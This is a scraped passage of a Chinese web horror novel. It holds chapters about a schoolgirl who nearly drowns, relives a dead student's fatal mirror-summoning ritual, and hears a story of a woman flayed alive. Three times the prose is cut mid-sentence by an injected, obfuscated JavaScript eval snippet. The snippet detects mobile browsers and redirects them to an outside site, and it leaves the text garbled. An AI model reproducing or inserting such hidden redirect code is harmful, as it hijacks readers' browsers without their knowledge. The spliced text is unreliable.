所有人的目光瞬间聚集到了梅子身上,有震惊、有不知所措甚至还有梅子看不懂的惋惜和幸灾乐祸。 第一个做出反应的是丈夫的妹妹,她从其他人手中接过孩子,微笑着走到梅子的身边,将手中正在啼哭的孩子对着躺在地上像头没有尊严的牲畜一般的梅子,在她耳边轻声道:“嫂子,自打我见到你的第一眼,就非常的...讨、厌、你。但谁让你八字特殊呢?” 小姑子的声音冰冷异常,没有了往日里的亲昵:“可你不该跟出来的...原本只用死一个...但我哥他竟然对你动了真情...你很得意吧?但谁让你不争气呢?浪费了他打算用孩子为你换来的机会...现在好了,谁都救不了你呢...” “哦对了,嫂子,你的胃...还难受么?” 梅子的眼睛瞬间瞪大,她胃不舒服的事谁都没有告诉,就连丈夫都不知道。 “那么吃惊干嘛?”小姑子冰冷的指尖划过梅子的脸颊:“你只要保证不管发生什么都乖乖的不要动,我就答应你,保这小东西一命。毕竟你这一身皮可是少有的美丽呢,要是弄破了就太可惜了...” 梅子后来停止了挣扎。 就连刀子划开头皮的时候,她也忍住了。鲜血混着眼泪一起在她白皙的皮肤上留下一道鲜红的印记,直到整张皮彻底从她身上剥落,她也没有挣扎半分。 就连动手的人都没想到纤弱的梅子能做到这种地步。 梅子的皮被村里那个即将60岁的老人穿上的时候,她还活着。 疼痛在皮肤一点点被剥离的时候就已经麻木了,唯一支撑着她的是时不时传来的婴儿的哭声。 而现在,梅子眼里强撑着的光点也开始一点点消散。 突然,婴孩的哭声变得尖锐,那一声声撕心裂肺的哭泣让梅子原本已经黯淡下来了眼睛一瞬间着亮了起来。 她大张着没有皮肤支撑的嘴,鲜红的肌肉扩张到一个不可思议的角度,那样子像是在愤怒的嘶吼又像是在悲愤的哭嚎。 但什么都没有。 梅子的声带在一开始就被切断了。 孩子的哭声渐渐微弱,直至彻底消失。 梅子暴露在空气里的血肉在颤抖,她挣扎着,鲜血顺着她暴露在空气里的眼眶里滑落。 她好恨啊…… 她好恨啊! 那是他们的孩子,是他们家的骨血,他们怎么能忍心对他下手! “你有愿望么?” 梅子在猩红一片的视野里看到了一个盒子。 “你有愿望么?” 梅子感觉自己整个人变得轻飘飘的,火光映射在她血红的瞳孔上。 她看到了。 那是一个长方形的盒子。 只有骨灰盒的大小。 上面刻着繁复的图案,猩红的颜色在火光的映衬下格外的妖异。 蜡烛分别摆放在盒子八个不同的方位。 蜡烛下的石柱上缠绕着手指粗的铁链,八条铁链相互纠缠汇聚在盒子上。 所有人都将聚集在盒子周围。 而旁边的祭台上躺着她的儿子。 小小的身体瘫软在血泊里,眉心中间有个洞,正有粘稠的鲜血汩汩涌出。 人间炼狱也不过如此! 梅子看着那些脸上挂着笑容的人们,心中翻涌的恨意几乎要将一切吞没。 他们怎么敢?!怎么敢?! “你有愿望么?” 梅子死死盯着山洞里的每一个人,唇边的肌肉缓缓扯向两边,露起一个瘆人的笑:“有。” 故事戛然而止。 梅子最后究竟许了什么愿望,孝子村的结局又是什么,老头子并没有继续讲下去。 就如同她的梦境。 周围的一切如幻影般消散,安然甚至不知道自己之前看到的是某段被她遗失的记忆还是一场单纯怪诞的梦。 她的倒影清晰的映在平静的水面上,同样清晰的还有她茫然不知所措的表情以及万胜柔那苍白浮肿的脸。 “咕噜…” “咕噜…” 咕噜咕噜的水泡从万胜柔黑洞般的口里涌出,安然感觉自己坠落的速度似乎是变快了,眼看整个手臂已经被拽进水里,那张黏腻湿滑的脸近在咫尺,就听一道充满诱惑的声音在她耳边响起。 “你有愿望么?” 16. 第16章 “你有愿望么?” 和老头子沧桑沙哑嗓音不同,这声音磁性诱惑宛若伊甸园那条引人偷食禁果的蛇。 安然张了张嘴,突然感觉嗓子一阵燥热,很渴,却没发出半点声音。 “你有愿望么?”那道声音继续诱惑。 潭水冷的像是十二月的寒冰,顺着毛孔钻进她身体的每一个角落,安然呼吸变得急促。 她有。 她不想被固定在这片湖水之上,不想成为万胜柔的替身,不想看到姜慧的过去,不想丁筝家出事,不想再做噩梦,她想要一切回到最初的模样,她和丁筝除了考试成绩外不需要再担心别的事,她想哥哥和爷爷永远陪在自己身边... “你有愿望么?”那声音越发轻柔,引诱着安然说出那个呼之欲出的答案。 她的脸颊和水面的距离不足一毫米,鼻间的呼出的热气在水面上荡出层层涟漪,安然的嗓子愈发干渴,似有什么即将钻出喉咙,但那句“有”来回在喉间不停的上下翻涌却始终没有说出口,就像是被反复嚼过的口香糖,除了一开始尝到的一点刺激味蕾的甜,到后来除了满口的酸涩,什么都没有。 安然不知道自己的恐惧源自于哪里,是那个叫做梅子的人的故事,还是一直被教导轻易能实现的愿望总会伴随着巨大的代价,还是别的什么。 但安然知道,那是一种源于本能的,被她藏在内心最深处的恐惧。 就像... 谁之前那么做过一样... 那道声音没有再继续,像是在惩罚安然的固执。 冰冷的潭水浸湿了口鼻,一开始她还能屏住呼吸,但窒息的感觉越来越强烈,她终于忍不住张开了嘴,冰冷的潭水毫不留情的灌进她的口鼻、钻进她的身体,感受到的却是火辣辣的疼。 安然的意识越来越模糊,朦胧间她似乎是听到了万胜柔阴冷而快意的笑声,期间还夹着一声若有似无的叹息,那样清晰,却又那样的模糊。 在彻底失去意识前,她听那人问:“安然,你有愿望么?” 安然嘴唇动了动,却只是吐出了一连串的水泡....... ——————————— 安然醒来的时候,发现自己正靠坐在水潭附近的巨石上。夜里山风格外的凉,她搓了搓胳膊,紧接着就打了个喷嚏。 天色已经很暗了,随风摇摆的树影沙沙作响伴随着的还有山泉坠向水潭发出的哗哗声。 她撑着身子靠立着身后的巨石,树影婆娑,还时不时传来几声鸟类振翅于山林的回音。 周身均是酸痛一片,她下意识按向胀痛的太阳穴,手心却突然一空,有什么撞到石头发出一声有些沉闷的“嗒”。 安然弯腰摸索着将东西捡起来,那是一个圆形的写着‘兑’字的徽章。 被潭水吞没的记忆让她指尖一颤,手中的徽章再次掉在了地上,只是这一次安然没有伸手去捡,而是摸向身上的衣服。 干...的。 怎么会... 她又从兜里摸出手机。 手机屏幕随着安然的动作亮了起来。 打开手电筒,夜晚的水潭漆黑如墨,就连粼粼水波折射出的光线都是黑的。光线移向水潭边,只见那里横卧着一根树枝,树枝一头还系着她的外套。 外套一侧的袖子还浸在水里,随着荡漾的水流一晃一晃的。 眼前的一切似乎都很正常。 但安然还是站在原地犹豫了很久才将地上的徽章揣进兜里,然后捡起树枝将泡在水里的外套拖了上来。 这一过程格外的顺利,安然紧抿的唇这才微微松开了一点。 不知道是因为今天没有继续降雨还是因为她的心思没有完全放在脚下,下山的路竟意外顺畅了不少。 不一会儿,她就站在围墙外那颗高大的梧桐树下。 安然三两下爬上树,一手搂着粗壮的枝桠,一手按住围墙顶部用力一撑,整个人便稳稳地落在了墙头。 用手机照了下墙角,见那儿没有什么尖锐的石头,撑着墙,便滑了下来。 夜晚的操场十分安静,没有路灯,但学校办公大楼的灯是亮着的。安然没有作死的从操场大摇大摆的穿过去,而是贴着墙角,一点点朝着教学楼的方向靠近,她可不想在最后的关头功亏一篑。否则真要在这个时候被捉住,估计她会怄死。 好不容易离开操场,安然没有继续往外走,而是选择坐在花坛榕树的阴影里。 晚自习已经开始,大门肯定是出不去了,在学校游荡也不是什么好主意。想要离开,估计只有等高二、高三他们下晚自习的时候混进去了。 看了眼时间,还有一个半小时大概两节课左右的时间。 原本她是打算在这里整理一下思路,等到下课再找个合适的地方等晚自习结束的,但在不知道第几次赶走耳边嗡嗡嗡个不停的蚊子后,安然忍无可忍的站了起来。 夜晚的校园静悄悄的。 安然走在阴影里,思考着哪里能让她安稳地度过这一个多小时的时间,直到一段台阶挡住了她的去路。她抬起头,发现挡在自己面前的是一栋完全隐没于黑暗的建筑。 啧,她怎么把这里给忘了。 每个学校都有属于自己的传闻。 一中也不例外。 安然听过几耳朵,但有印象的只有一个,就是陈温柔在班上提过的那个关于镜子的传闻。 这个传闻说来也是挺扯的,说是一中过去的时候并不像现在这样每个年级都有自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是后来陈温柔的妈妈来了,也不知道怎么和学校商量的,停学变成了打扫公共场所三个月。当天他们班很多人都看到陈温柔妈妈离开的时候眼睛是肿着的,这也是陈一帆每次都拿这事呛陈温柔的原因。 要是往常的安然想起这些,只会觉得这传闻漏洞太多,许多细节难以自圆其说,说不定还会在这附近躲一躲。但今天,在经历了那样的事以后,她已经拿不准这传闻的真假了。 她能清晰地感知到自己的世界观正处于一边崩塌又一边重建的状态。那些崩塌和重建的观念重叠在一起,导致她现在整个思维都变得混乱又无序,看什么都既像真的又像是假的,仿佛失去了最基本的判断力。 她甚至拿不准自己在水潭边取徽章时发生的一切是真实的还是幻觉。 如果是真的,为什么自己身上没有沾染半点水痕?可如果是幻觉,那些细节和感官又显得过于真实了。 还有那个声音以及自己最后的回答… 矗立在黑暗中的实验楼在她眼里变成了正一点点蚕食校园的巨大黑色阴影。安然不自觉退后了两步,转身就要离开。 突然,一道光束从她身后不远处的地方照射过来,伴随而来的还有哒哒哒的脚步声。 安然心脏猛地一沉,身体快思维一步窜上台阶,径直钻进了那道半掩着的门缝... 17. 第17章 月光透过灰蒙蒙的玻璃照进实验楼,连带着映进来的光晕都染上了尘土的朦胧。 安然一进来就后悔了。 但眼下没有后悔药可买,她只能硬着头皮往里走。这要是被抓到,就不是能用情节恶劣能打发的了。自打陈温柔那次事件以后,学校特意在公示栏张贴过擅自进入实验楼的处罚,她记得好像是要劝退处理来着。 安然不想再添波澜,她只想平安渡过今晚。 一楼没有一点遮蔽物,一个光照就能‘人赃并获’显然不适合藏人,安然抬头看向身前幽深的楼梯,一咬牙走了上去。 这里大概是很久没有人来过了,哪怕走的很轻,扬起灰尘还是让她忍不住捂住了口鼻。 走到二楼的时候,安然下意识扫了眼拐角的位置,那里空荡荡的什么都没有。胸口憋着的那股气不由松了松,脚下的步子也轻快了些许。 只是走着走着安然就察觉到了不对。她停下脚步,屏息凝神听楼下的动静。 周围安静几乎到落针可闻。 怎么会... 刚刚的光束明明就在她身后不远的位置,不管对方是巡逻的保安还是巡视的老师都不该看到实验楼大门敞开着到现在还不进来查看情况。 等等! 为什么...实验大楼的门会是开着的?! 安然呼吸一滞,下意识后退的动作,差点让她一脚踏空。来不及后怕,安然不由开始回想这一整天发生的事,水潭边的遇险历历在目,刚刚又被人刻意诱导着进了实验楼,要说两件事纯属巧合,她还不至于这么蠢。 可是谁会这么做? 灵异社...么? 可一个学校不承认的社团真能做到这种地步? 目的又是什么? 被人牵着鼻子走的感觉让安然不爽,也隐隐让她不安。她不觉得自己一个普通高中生有什么好值得人算计的,她担心这是冲着老爷子或是她哥去的。 她不想成为别人拿捏他们的软肋。 想到这,安然没有犹豫,转身就要下楼。 这地方绝对不是久留之地! 可她刚一转身,手腕就被人拉住了—— 艹! 安然被逼的直接在心里爆了句粗口,这一抓让她三魂差点丢了七魄。下意识就要甩开对方,却发现自己竟然再次无法控制住身体了! “姜慧!你干嘛?!”拽着她手腕的人力道加大了几分,对方声音压得很低,但安然还是隐隐听出了些许不屑:“你不会是临时想要反悔吧?!亏夏澄澄对你那么好...” 安然感觉姜慧的手腕动了动,见挣脱不开,终于开口:“放开。” “你先保证不临阵脱逃!”女生不依不饶。 “林梓露,我不觉得我该向你保证什么。夏澄澄是我的朋友,我答应她了就不会反悔。” 安然看出那个叫林梓露的女生眼里的迟疑,但最后还是在姜慧沉默注视下不情不愿地松了手。 透进小窗的月光时隐时现,楼道在两人沉闷的氛围中显得格外幽长。就在安然感叹这栋楼究竟能有多长时,这两人终于踏上了最后一级台阶。 走廊尽头隐隐传来微弱的人声,墙面上几道人影在火光的摇曳里忽明忽暗。 教室里,桌椅提前被搬到了靠墙的位置,使得教室中间预留出了一大块位置。地面上用粉笔画了一个圈,圈里还有一个六芒星的图案,最外一圈则立着六根点燃的蜡烛。 啧。 画的还挺工整。 真是不管什么年代都有的是作死青年。 安然眸光一动,这个姜慧...不会就是这个时候死的吧?!她数了一下人数,加上她俩,一共6人,四女两男。而让安然略有些意外的是这几人中竟还能有张熟悉面孔,那个为姜慧忿忿不平的女生也在。 女生几步挽住姜慧的手臂:“慧慧,你能看来,我很高兴。谢谢...” 安然明显感觉姜慧紧绷的身体在那女生挽住她胳膊的时候放松了下来。这是只有亲近的人靠近时才会下意识做出的反应。 姜慧从口袋里拿出了一个包装精美的小盒子递给女生:“澄澄,生日快乐。希望...你能永远开心的做自己。” “谢谢!”夏澄澄伸手抱住了姜慧:“我会永远记住这一天的...” 不知道是不是安然的错觉,那个叫夏澄澄的女孩在听到姜慧最后一句话时,嘴角的笑容明显僵了一下,虽然只是一闪而逝,但安然确信自己看到了。 其他几人也纷纷拿出礼物,之前稍显沉闷的氛围也渐渐热络了起来。有人拿出提前准备的零食,安然一看,也不由感叹种类的丰盛,而且很多都是她见都没见过的。 看着拿着零食盘坐在桌子上一边吃一边嘻嘻哈哈聊天的几人,安然有些咋舌,她现在完全搞不明白这帮人究竟演的是哪一出。 而姜慧在这帮渐渐聒噪的人群里显得有些沉默,安静的像个游离在外的看客,除了视线偶会会落在夏澄澄身上外,其他人她连看都没有看一眼。 气氛压抑而热烈,安然隐隐察觉到了不对劲,但还没来得及细想就被他们聊天的内容吸引走了注意力。 比如他们现在已经高三了,现在正值寒假,学校大门钥匙是其中一个男生拓印下来自己找人偷偷配的。 排除掉没用的信息,安然也发现他们谈论的最多的还是那个叫夏澄澄的女孩。 夏澄澄似乎是在场的几人心中完美女孩儿,漂亮,成绩好,善良,勇敢、积极...似乎所有赞扬美好的词用在她身上都不过分。 而从他们的言语里,安然也知道了当年姜慧被全班孤立的原因。 也许是那些对话,让姜慧产生了强烈的情绪,安然竟感知到了一点姜慧的记忆。 说来也是挺讽刺的,起初不过是姜慧拒绝了班上的一个男生交往的请求罢了。那个男生当时很豁达地接受了拒绝,姜慧为此事后还反思过自己是不是说的有些太直接了。 但后来,事情的走向就变得奇怪了起来,有谣言在男生之间传开来,说是有人说看见她和一个老男人一起吃饭举止亲密,最后还一起去了一家高档酒店。 谣言就像是一颗投进水面的石子,石子消失,但却在平静的水面上晕开了一圈圈的涟漪,最后甚至波及到了整个湖面。 等到姜慧知道的时候,谣言已经不止在她所在的班级流传,整个年极段,甚至其他年纪对姜慧这个名字也有了耳闻。 她想不明白一张连脸的都没有只有一张背影的照片,怎么就成了她无法反抗的枷锁。所有人都指着那个被臃肿男人搂着腰的人是她姜慧。 姜慧大声的告诉所有人,那张照片上的人不是她,甚至还说出来自己的当天的行程,但没有人相信,她的辩白成了狡辩,就仿佛全世界只有她认不出自己。 她后来也激烈地反驳过,自证过,反抗过,甚至像个困兽一样谩骂过,但她那时不知道这世界是有受害者有罪论的,被传谣言的人从来就没有资格说话。 因为所有人都听不到。 他们不在意她说了什么,他们只想听自己想听的,那些不堪的,肮脏的,将雪白染上他们中意而暧昧的黄,才是刺激的、值得一听的,他们所相信的。 恶意愈演愈烈。 几个恶劣的男生开始姜慧书桌里塞一些不堪入目的文字和图片,甚至还会趁老师不注意,对她做一些下流的动作。 班主任一开始还管,但次数一多,老师们的眼神也变得奇怪了起来。 姜慧自此被彻底孤立。 事情直到夏澄澄的到来,迎来了转机。 这个长相美丽,成绩好,性格又十分开朗的女孩儿转移走了一部分过分关注姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850069|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧的视线。 夏澄澄听到了那些传闻后,什么都没有说。她没有像其他人要么无视、要么鄙夷、要么不屑、要么同流合污地欺负姜慧,但也没有公然为姜慧说过话。 因为夏澄澄性格好,和谁都能聊得来,所以虽然初来乍到,但人缘却相当的不错。所以当她向他们打听那些传闻时,都只当她是单纯的好奇。 谁都不知道夏澄澄做了什么。 只知道一个平凡的早晨,所有人都在上早自习的时候,学校的广播室却播放出了两段对话,这两段都是关于姜慧的。 “怎么了,周岩?被拒绝了心情不好?还没走出来?算了,漂亮的女生多的是,何必在姜慧一棵树上吊死?” “艹,老子能走不出来?她也配?我就是气不过,老子长这么大就没被人拒绝过!还说什么不想耽误学业,真尼玛装!” “算了,换一个呗!咱们学校漂亮的女生多的是...” “老子咽不下这口气!她还真当自己的是什么公主了?一张脸拽的二八万,靠!...我有个想法...呵呵....” “艹!你笑这么吓人干嘛?” “她不是想当公主么?老子成全她!但配的是什么...哼...” “喂!你想干嘛?别太过火了...” 第一段对话戛然而止。 第二段在短暂的滋滋声后响了起来。 首先传出的是一个女生的声音。 “周岩...你真的喜欢我?真心的么?” “我当然是真心的!澄澄,你相信我!我是真心喜欢你的!” “可...张益成把你对姜慧做的事都告诉我了...你是怎么找人拍的照片,又是怎么在学校散播的谣言...” “艹!澄澄,你别听那小子胡说八道!那家伙也喜欢你,所以才会在你面前说我坏话,相信我,他说的那些都不是真的!” “真的么?可我看到了,周岩。张益成给我看了网吧的监控视频...还有你找的那个女生,他还有她的联系方式,你真的要继续骗我么...我不想追究什么,我只是有些害怕,我害怕...有一天你也会这么对我...” “那是个意外!澄澄,你相信我!我只是气不过她当着全班的面拒绝我,我只是想教训一下她,我没想到后来会变成那样的...你和她不一样,我喜欢你,我从来没有这么喜欢过一个人!就算你拒绝我,我也永远都不会伤害你...你相信我...” 一时间,所有的目光都集中在了姜慧身上。那一天,姜慧身上背负的屈辱不见了,但心里被刻画出的伤痕却似乎永远都不会消失。 周岩转学,算是最后学校给出的交代。 但姜慧却没有办法融入那个曾经一起霸凌过她的集体,而夏澄澄成了她唯一的朋友。 和夏澄澄一起的那段日子是姜慧最快乐的时光,直到... 安然一下子清醒了过来,姜慧的记忆如同一扇紧闭的大门,在最关键的时刻将她推了出去。 “喂!姜慧!你够了啊!今天是澄澄的生日,你一直板着一张脸什么意思啊?我们澄澄对你那么好,要不是澄澄,你现在还...” “梓露...”夏澄澄挡在姜慧面前:“那本来就不是慧慧的错,她却承担了所有的痛苦,这不是什么值得谈论的事,以后咱们不要再说了。” “都过去这么久了,也该够了吧?!是。我们是被带了节奏,我们是不对,可罪魁祸首已经走了,大家都道歉了,她还想怎么样嘛!见谁都跟欠了她似的!怎么?难道我们还要一直照顾她的情绪,像个罪人一样,在她面前一直抬不起头么?!真当自己是什么皇太后么!也难怪...” “难怪什么?”姜慧从夏澄澄身后走出来,目光沉沉看向地林梓露。 气氛瞬间变的剑拔弩张了起来... 18. 第18章 “皮卡皮卡皮卡...皮卡丘...” “皮卡皮卡皮卡...皮卡丘...” 头戴鸭舍帽的男生有些尴尬的掏出手机,软萌的皮卡丘铃声更加清晰:“那个...时间要到了...”皮卡丘的铃声戛然而止,他举着手机,露出上面显示的时间:【23:50】。 “呦,江源!看不出来啊!竟然用这么萌的铃声!”另一个男生调侃。 “你丫不说话没人把你当哑巴!” 两人看似胡侃,但调节气氛的意图在场的几人都看得出来。 林梓露别过眼,勉强算是先低了头:“算了。今天是澄澄生日,我不该那么说你...但你好歹也稍微融入一下吧?” 姜慧没有吭声,但也不再那样盯着林梓露。 这时,其他几人也都出来打了几句圆场,气氛这才不再像之前那样僵持。 夏澄澄挽住姜慧的手:“慧慧,帮帮我...我真的很想试一试...哪怕最后失败...我也想试试...” 姜慧看了眼地上忙碌的几人,又看着满脸哀求的夏澄澄,嘴唇动了动,终是什么都没说,点了点头。 夏澄澄感激地抱住姜慧,随后拉着她走到六芒星外围的一根蜡烛前:“慧慧,待会儿仪式开始,你就坐这儿。” “好。”姜慧直接坐在了蜡烛的面前。 蜡烛似乎是特制的,燃烧后蜡油的味道不那么明显,反倒有股淡淡的苦涩和混杂其中的甜味。 安然透过姜慧的视线,看向那些忙碌地身影。教室大门早已关闭,遮阳的卷帘也被全部放下彻底隔绝了屋外透进的月光,如果不是眼前燃烧着的蜡烛,周围早已是伸手不见五指的黑暗。 六芒星中央摆放着一面镜子,不算太大,但也有课本大小,椭圆形,边缘有一圈金色略有些繁复的花纹,看上去有点欧洲的宫廷风格。 这帮人... 究竟在搞什么啊... 很快,六人围着六芒星坐成一圈,每个人身前都有一只点燃的蜡烛。 坐在镜子面前的夏澄澄在昏暗的烛火下看不清表情:“仪式还有三分钟开始,一会儿无论看到什么发生什么,请大家都不要离开自己的位置。” 见所有人都点头,夏澄澄才继续道:“记住...我每念完一句就要有个人吹灭自己身前的蜡烛,顺序就按我之前说的,我第一个,从左往右,慧慧最后一个。一定要按照顺序。” 众人再次点头。 “等到蜡烛全部熄灭,不要说话,也不要离开。如果成功,会有一根蜡烛自动亮起,其他蜡烛也会依次点亮。但如果失败...那这件事就到此为止...” 也不知道是夏澄澄郑重的态度还是被此刻的气氛感染,安然视线里的每个人的表情都很严肃。 夏澄澄看了眼时间:“要开始了。”说着从口袋里拿出一把圆规,眼睛一眨不眨的盯着手机上不断变化的数字。安然同样看着时间。 当时间变成00:00的时候,她看见夏澄澄用针头的一端在食指上一划,一抹鲜红涌出指尖,她在镜子上用鲜血快速写下了一个人名,又在下面写了一个时间。 【夏光远】 【1967.7.13】 随即夏澄澄开始念诵类似咒语的东西,安然听不懂,但她能肯定不是中文,不是任何方言,也不是英语,倒有点像是...拉丁语。 安然之所以想到拉丁语还是因为她哥。 她哥在学校里选修了哲学,而哲学在一些方面又和拉丁语挂钩,她听她哥读过。尽管夏澄澄的发音有些生硬,但和她听过的拉丁语很相似。 还没等安然想明白,第一根就蜡烛熄灭了。 紧接着,第二根也被吹灭。 很快,第三根。第四根。 随着光源消失,安然产生了一种蜡烛后的脸似乎在某一瞬间也一同消失在了黑暗里的错觉。她感觉到了一种前所未有的紧张,心脏咚咚咚几乎要跳出口腔,有一瞬间她甚至有种想要呕吐的冲动。安然不知道这是自己的情绪还是姜慧的,又或者两者都有。 第五根蜡烛的光源也消失了。 那些人的脸在摇曳的火光下时隐时现,夏澄澄生硬的像是在吟唱的咒语回荡在空旷的教室里,让听的人隐隐生出了些许烦躁。 突然,念咒声戛然而止,同时消失的还有仅存的最后一道光源。 有人说寂静和黑暗是所有恐惧的源头,因为没有人知道里面隐藏着什么。时间在这一刻似乎也被无限延长,仿佛永远没有尽头。 没有人说话。 一开始安然还隐隐听到压抑到极致的呼吸声,但渐渐的,除了这具身体砰砰砰的心跳外什么都听不到了,她甚至觉得偌大的教室只剩下她一个。 呲——- 一团微弱的火光摇摇晃晃亮了起来,照亮的还有蜡烛后那张震惊又兴奋的脸。所有人的呼吸都在微弱的光晕中都急促了起来,难以难喻的兴奋在几人之间蔓延。 就在所有人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850070|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待着第二根蜡烛会如期点亮时,那点微弱的火苗却倏地熄灭了。 周围再次被拖进了黑暗。 这一次,安然明显感觉到气氛的变化,尽管依旧没有人开口,但吞咽口水还有欲言又止的小动作在寂静中格外明显。 “那个...”有人终于压抑不住恐惧率先开了口,下一秒几乎要刺穿每个人耳膜的惨叫声响起,像是某种连锁反应,所有人都跟着尖叫了起来。 安然听到了镜子碎裂的声音。 一时间尖叫声、撞击声、哭喊声此起彼伏,教室里混作一团。 “碰!” 像是有什么被狠狠扔在了桌子上,所有人像是都被这剧烈的声响吓得忘记了动作。紧接着,一道刺眼的光在黑暗中亮了起来。 “啊!”一个女生被这突如其来的亮光吓了一跳。 “别叫了!”夏澄澄严肃呵斥,手机的亮光一一扫过众人,拉起身侧被推到的另一个女生,语气缓和了一些:“有谁受伤了么?” “我的手划破了...”之前那个尖叫的女生抬起自己手臂。夏澄澄靠近,灯光打在女孩的伤口上,伤口有些长,但并不深,只隐隐有点血丝,看上去似乎被刮破了一点皮。 “我包里有碘伏,一会儿给你擦一点...”夏澄澄又看向其他人:“还有谁受伤了么?” 在场几人摇头。 夏澄澄松了口气,蓦地她像是想到了什么,手机的灯光再次一一扫过众人的脸,所有人都被这晃眼的亮光晃得眯起了眼睛。 “澄澄,你干嘛呀?!”就连一向对夏澄澄没有重话的林梓露也罕见的有些发火。 夏澄澄却没有回答,而是用手机电筒照向教室的其他角落。当灯光从地上破碎的镜子和踩得乱七八糟的蜡烛上照过时,安然明显感觉到了对方拿着手机的手顿了一下。 光线仍旧巡视着整间教室。其他人都被夏澄澄像是在找着什么的动作弄得有些发毛。 “澄澄...你到底在找什么啊...”之前调侃皮卡丘铃声的男生忍不住开口。 夏澄澄仍旧没有回答。似是没有找到自己想要找的东西,她一点点停下转动身体的脚步,随即又像是想到了什么,将灯光对准了一个地方。 安然也顺着灯光看过去,那里的桌椅乱作一团,像是被什么推到了。如果她没听错的话,之前传来的那声巨响,似乎就是这个方向。 忽地,夏澄澄终于开口,只是声音干涩嘶哑:“你们...谁看到江源了?” 19. 第19章 一语惊醒梦中人。 众人一阵面面相觑后,都不约而同地想到了什么,顺着夏澄澄手机的灯光看向那片凌乱的桌椅。 “那个是...腿么?”受伤的女生战战兢兢地抬手指向光源照射的地方。 吞咽口水的声音伴着刻意被放轻的脚步慢慢靠近。 灯光照向墙壁和桌椅间空出的夹角,所有人都屏住了呼吸,尽管事先做了最坏的猜想,但当那张满是血污因惊恐过分睁大眼睛的脸就那样猝不及防地映入眼底时,还是被吓得失声尖叫。 场面再次失控。 慌乱中夏澄澄的手机被打落,手机‘啪’地一声掉在地上,似乎是被谁踩了一脚,一声脆响之后,光源再次被黑暗吞没,同时被吞没的还有他们本就为数不多的理智。 姜慧在混乱中被人推搡着撞到了身后的书桌,钝痛自后背蔓延至全身,但她还算保留了一点理智,尽量将身体靠向墙边,这种情况,任何来自他人的触碰和推搡都可能引起更大的恐慌。 但显然,江源只是一个开始。 尖叫声里似乎参杂了更为尖锐、惊慌的声音。 紧接着又是几声碰碰的巨响,伴随着的还有桌椅挪动和掉落的声音。 剩下的人显然也听到了那两声巨响,惊叫里带着绝望。一时间哭泣声、咒骂声、推搡声、撞击声、痛呼声混作一团。 这些声音交织在一起,吵得安然脑仁疼。但这显然还不是最糟糕的,姜慧显然被吓得不轻,她呼吸急促、心脏砰砰砰如战鼓般敲击着胸腔,身上的冷汗几乎将她整个人浸湿… 安然倒希望她能像那些人一样叫出来喊出来哭出来,至少那样还有个发泄恐惧的途径,但她太能忍了,从始至终都强憋着一言不发。 又是一声巨响。 这声巨响像是唤醒了姜慧部分神志。安然听见她对着声音传来的方向喊了一声:“夏澄澄!” 没有人回应。 “夏澄澄!” 仍旧无人回答。 就在姜慧想要朝声音传来的方向摸索过去时—— 门开了。 ‘碰’的一声,门被大力推开撞到墙面又弹了回来。站在门前的两人甚至没有回头看一眼便急忙跑了出去。 月光顺着敞开的门缝洒在地面上,如同畏惧教室里的黑暗似的不愿向里挪动哪怕一寸的距离。 姜慧跑到门边想要将门开的大一点好看清教室里的情况,但她刚一开门,就感觉身后一阵大力袭来,有什么将她狠狠推了出去,紧接着又是‘碰’的一声巨响,门在她身后重重合上。 “夏澄澄!” “夏澄澄!” 姜慧用力拍着门,嘴里无意识地喊着夏澄澄的名字。但无论她怎么用力撞击房门,那扇木门始终都纹丝不动,里面也没有半点回应。 眼泪再也抑制不住的流了下来,姜慧无力地瘫倒在了门前。这时,有东西狠狠撞击在门上,发出来一声沉闷地‘碰’! 随后大门开始剧烈摇晃,像是有什么即将要破门而出。 姜慧惊恐地看着剧烈摇晃的门,终于踉踉跄跄地爬起来,借着昏暗的月光朝着楼梯的方向跑了过去... ******** “呼——” “呼——” “呼——” 安然感觉姜慧的呼吸仿若漏气的风箱般喘的十分费力,大脑因缺氧而产生阵阵晕眩,但她脚下动作不止,咚咚咚的声音如鼓点般重重敲击在她的心脏上。 安然甚至看不清脚下的台阶,姜慧就已经凭着本能转过拐角,踏上下一段楼梯。 长长的阶梯蜿蜒而下,像是没有尽头。 几楼了? 安然顺着姜慧的目光看向扶手下粘稠的黑暗。 但姜慧显然被吓坏了,只是机械的重复着下楼的动作,一遍遍转弯,下楼,再转弯再下楼,她甚至没有抬眸瞥一眼墙面上冰冷的金属数字。 安然不知道姜慧踏了多少级台阶,她觉得姜慧也不知道。 终于,在转身要进入下一段楼梯的时候,姜慧像是终于意识到了什么,看向墙面,暗淡的月光下冰冷的数字‘2’映入眼帘的同时也映入了安然的眼底。 喜悦同时染上两人的眸子。 安然不知道这次的‘附身’什么时候或会以什么方式结束,但她没有自虐的癖好,在黑暗里奔逃的滋味并不好受,尤其还是控制不了身体,却能感知到恐惧与疼痛的时候。 只是这份喜悦并没有持续多久,便被再次出现在眼前的数字2打的稀碎。 怎么会... 姜慧受到的惊吓显然远远超安然,某种一瞬间,她甚至觉得姜慧的灵魂已经被强行抽离,只留下空荡的躯壳游离在虚无的黑暗里,往前再踏一步就会跌进无尽的深渊之中。 